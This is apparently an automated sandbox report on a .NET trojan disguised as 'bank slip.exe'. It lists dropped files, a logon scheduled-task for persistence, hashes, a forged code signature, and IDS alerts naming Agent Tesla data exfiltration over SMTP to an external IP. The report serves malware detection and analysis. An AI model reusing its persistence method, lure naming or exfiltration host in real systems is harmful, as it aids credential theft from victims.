Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380747059108785
Encrypted:	false
SSDEEP:	48:lylWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMugePu/ZPUyus:lGLHxvIIwLgZ2KRHWLOugYs
MD5:	3AD8789204FA415704CCF5B3B656BBDD
SHA1:	7FE555A0FC141DAC4D994A35E788D0893ECA7890
SHA-256:	469F824997F70EF9F88D0D52BCFFC2EFCB07C561DB69FF4C65C0A7CBC7A432D1
SHA-512:	172AE94A3822D34858B725EAB261082CBF977969A46D92A7275066D0DE8C8966BA39BA3171B2048D8A2E765CE8F7EE9594F96D6E0A97897583F3559F642257CA
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3oyi5kdz.x4n.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4thuxtx2.vjk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l3eehkhi.hfv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m01qiw3h.frr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pmjzmuuk.i3n.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_trtgj4wc.ynl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x2slqf4y.gjd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zs5fnrbp.zom.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp2859.tmp

Download File

Process:	C:\Users\user\Desktop\bank slip.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	5.114825481024603
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNt/xvn:cgergYrFdOFzOzN33ODOiDdKrsuT5v
MD5:	98B0CB9F06E82A2DC5BA7B2CDF48593C
SHA1:	A9338ED94B1E59B0650809DC843A7AE6FA058C34
SHA-256:	39EC0F49FAC54622F2BBAFA62B7C9C0E7B6D9E9B474A51A5DE186D53B69766FF
SHA-512:	2B515628A5CA741AEE2C969C7D3A454A274E45A692E384CD9073CC47761BB8F73CB3DB247AA90B94692FDA0F152905F769A41690CDA382E315E61ADB8AFACE4E
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmp4AB6.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	5.114825481024603
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNt/xvn:cgergYrFdOFzOzN33ODOiDdKrsuT5v
MD5:	98B0CB9F06E82A2DC5BA7B2CDF48593C
SHA1:	A9338ED94B1E59B0650809DC843A7AE6FA058C34
SHA-256:	39EC0F49FAC54622F2BBAFA62B7C9C0E7B6D9E9B474A51A5DE186D53B69766FF
SHA-512:	2B515628A5CA741AEE2C969C7D3A454A274E45A692E384CD9073CC47761BB8F73CB3DB247AA90B94692FDA0F152905F769A41690CDA382E315E61ADB8AFACE4E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	45984
Entropy (8bit):	6.16795797263964
Encrypted:	false
SSDEEP:	768:4BbSoy+SdIBf0k2dsjYg6Iq8S1GYqWH8BR:noOIBf0ddsjY/ZGyc7
MD5:	9D352BC46709F0CB5EC974633A0C3C94
SHA1:	1969771B2F022F9A86D77AC4D4D239BECDF08D07
SHA-256:	2C1EEB7097023C784C2BD040A2005A5070ED6F3A4ABF13929377A9E39FAB1390
SHA-512:	13C714244EC56BEEB202279E4109D59C2A43C3CF29F90A374A751C04FD472B45228CA5A0178F41109ED863DBD34E0879E4A21F5E38AE3D89559C57E6BE990A9B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: PAYMENT LIST.exe, Detection: malicious, Browse Filename: E7236252-receipt.vbs, Detection: malicious, Browse Filename: I7336446-receipt.vbs, Detection: malicious, Browse Filename: S94847456-receipt.vbs, Detection: malicious, Browse Filename: Transfer copy PDF.exe, Detection: malicious, Browse Filename: PO# CV-PO23002552.PDF.exe, Detection: malicious, Browse Filename: Deposit payment copy PDF.exe, Detection: malicious, Browse Filename: Approved E-DO PDF.exe, Detection: malicious, Browse Filename: PO# CV-PO23002552.exe, Detection: malicious, Browse Filename: Invoice Checklist.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0..d..........V.... ........@.. ..............................s.....`.....................................O.......8............r...A.......................................................... ............... ..H............text...\c... ...d.................. ..`.rsrc...8............f..............@..@.reloc...............p..............@..B................8.......H........+...S..........\|...P...........................................r...p(....2.(....(....z..r...p(....(....(......}......{.....s..........0..{...........Q.-.s.....+i~....o....(.....s.......o.....r!..p..(....Q.P,:.P.....(....o....o ........(....o!...o".....,..o#...t........0..(....... ....s$........o%....X..(....-...o&....0...........('......&.........................0...........(.......&.....*.................0............(.....(....~....,.(....~....o....9]...

C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe

Download File

Process:	C:\Users\user\Desktop\bank slip.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	745480
Entropy (8bit):	7.957107975771517
Encrypted:	false
SSDEEP:	12288:ioI4iAEfDVx9LPomIdTycMhJJM8MQwWQNCPLtDNNmr7cDn6SLlcP9C3cc081kR:y4RE7VxlPom8TyJPJM8dw4xDjl6ucP9Z
MD5:	64FF7F01E8A040DD0708D0D3C72A09F7
SHA1:	71D66159D1414876A6AE19696A5A3D99FC5DF6A6
SHA-256:	0EB53728ACB5E4B7C857ED35DACC4BA1264249CADA90F5E69D3FDE4E9B243190
SHA-512:	AD136FF713D93ABAAB512BAB4695F2181568FA9A994F398A946985ECBADFA3A46B07790B648AB47B68BACA27EDE294E4049C8E523D8507D7E334BC3261C21D1C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24% Antivirus: Virustotal, Detection: 38%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:[8f..............0......@........... ... ....@.. ....................................@.....................................O.... ..X=..............6...`..........T............................................ ............... ..H............text...H.... ...................... ..`.rsrc...X=... ...>..................@..@.reloc.......`.......(..............@..B........................H........m...T..........t...X!.........................................."..}......{...."..}......{...."..}......{...."..}......{......(......(......(......(......(......(......(......(......(......(....>..o.....X(...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{......{...."..}......0..X........(....}.....(......(......(......(......o......o......o.....r...p(......o.........}....*.0..9.........{.....(.....(.....

C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\bank slip.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	4.442398121585593
Encrypted:	false
SSDEEP:	24:zKLXkhDObntKlglUEnfQtvNuNpKOK5aM9YJC:zKL0hDQntKKH1MqJC
MD5:	6FB4D27A716A8851BC0505666E7C7A10
SHA1:	AD2A232C6E709223532C4D1AB892303273D8C814
SHA-256:	1DC36F296CE49BDF1D560B527DB06E1E9791C10263459A67EACE706C6DDCDEAE
SHA-512:	3192095C68C6B7AD94212B7BCA0563F2058BCE00C0C439B90F0E96EA2F029A37C2F2B69487591B494C1BA54697FE891E214582E392127CB8C90AB682E0D81ADB
Malicious:	false
Preview:	Microsoft (R) .NET Framework Services Installation Utility Version 4.8.4084.0..Copyright (C) Microsoft Corporation. All rights reserved.....USAGE: regsvcs.exe [options] AssemblyName..Options:.. /? or /help Display this usage message... /fc Find or create target application (default)... /c Create target application, error if it already exists... /exapp Expect an existing application... /tlb:<tlbfile> Filename for the exported type library... /appname:<name> Use the specified name for the target application... /parname:<name> Use the specified name or id for the target partition... /extlb Use an existing type library... /reconfig Reconfigure existing target application (default)... /noreconfig Don't reconfigure existing target application... /u Uninstall target application... /nologo Suppress logo output... /quiet Suppress logo output and success output... /c

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.957107975771517
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	bank slip.exe
File size:	745'480 bytes
MD5:	64ff7f01e8a040dd0708d0d3c72a09f7
SHA1:	71d66159d1414876a6ae19696a5a3d99fc5df6a6
SHA256:	0eb53728acb5e4b7c857ed35dacc4ba1264249cada90f5e69d3fde4e9b243190
SHA512:	ad136ff713d93abaab512bab4695f2181568fa9a994f398a946985ecbadfa3a46b07790b648ab47b68baca27ede294e4049c8e523d8507d7e334bc3261c21d1c
SSDEEP:	12288:ioI4iAEfDVx9LPomIdTycMhJJM8MQwWQNCPLtDNNmr7cDn6SLlcP9C3cc081kR:y4RE7VxlPom8TyJPJM8dw4xDjl6ucP9Z
TLSH:	B6F42383368EC703C67D84B85151924007B166C67F51D298BCEAB0FBAA9FFD28345AD7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:[8f..............0......@........... ... ....@.. ....................................@................................

File Icon


Icon Hash:	f8bcd76926924906

Static PE Info

General

Entrypoint:	0x4b061a
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66385B3A [Mon May 6 04:23:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 01:00:00 09/11/2021 00:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
inc ebx
push edi
xor al, 50h
inc ebx
pop edx
dec ebx
dec eax
inc edx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi+38h], al
dec eax
pop edx
inc edi
xor al, 42h
dec edx
cmp byte ptr [ebx+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx+48h], al
aaa
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb05c8	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb2000	0x3d58	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xb2a00	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xae3cc	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xae648	0xae800	071f91665e1206f31fbc43ca75165ac3	False	0.9572634983882522	data	7.962545979931204	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb2000	0x3d58	0x3e00	eef5ea739c98051791bab805da2745d9	False	0.9456275201612904	data	7.812640516769869	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb6000	0xc	0x200	bd8718fa8ed6bf3c8cb049985e8de5e5	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb2100	0x373a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	1.0007780449851464
RT_GROUP_ICON	0xb584c	0x14	data	1.05
RT_VERSION	0xb5870	0x2e8	data	0.4637096774193548
RT_MANIFEST	0xb5b68	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/06/24-08:13:10.302990	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49712	587	192.168.2.5	111.118.215.27
05/06/24-08:12:59.940556	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49710	587	192.168.2.5	111.118.215.27
05/06/24-08:12:59.940511	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49710	587	192.168.2.5	111.118.215.27
05/06/24-08:13:10.303039	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49712	587	192.168.2.5	111.118.215.27
05/06/24-08:13:10.303039	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49712	587	192.168.2.5	111.118.215.27
05/06/24-08:13:10.303039	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49712	587	192.168.2.5	111.118.215.27
05/06/24-08:13:10.303039	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49712	587	192.168.2.5	111.118.215.27
05/06/24-08:12:59.940511	TCP	2839723	ETPRO TROJAN Win32/Agent Tesla SMTP Activity	49710	587	192.168.2.5	111.118.215.27
05/06/24-08:12:59.940556	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49710	587	192.168.2.5	111.118.215.27
05/06/24-08:12:59.940556	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	49710	587	192.168.2.5	111.118.215.27
05/06/24-08:12:59.940556	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	49710	587	192.168.2.5	111.118.215.27
05/06/24-08:13:10.302990	TCP	2839723	ETPRO TROJAN Win32/Agent Tesla SMTP Activity	49712	587	192.168.2.5	111.118.215.27

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 6, 2024 08:12:56.205461025 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:56.529448032 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:56.530762911 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:57.302267075 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:57.380064964 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:57.704293966 CEST	587	49710	111.118.215.27	192.168.2.5
May 6, 2024 08:12:57.716609955 CEST	49710	587	192.168.2.5	111.118.215.27
May 6, 2024 08:12:58.040970087 CEST	587	49710	111.118.215.27	192.168.2.5
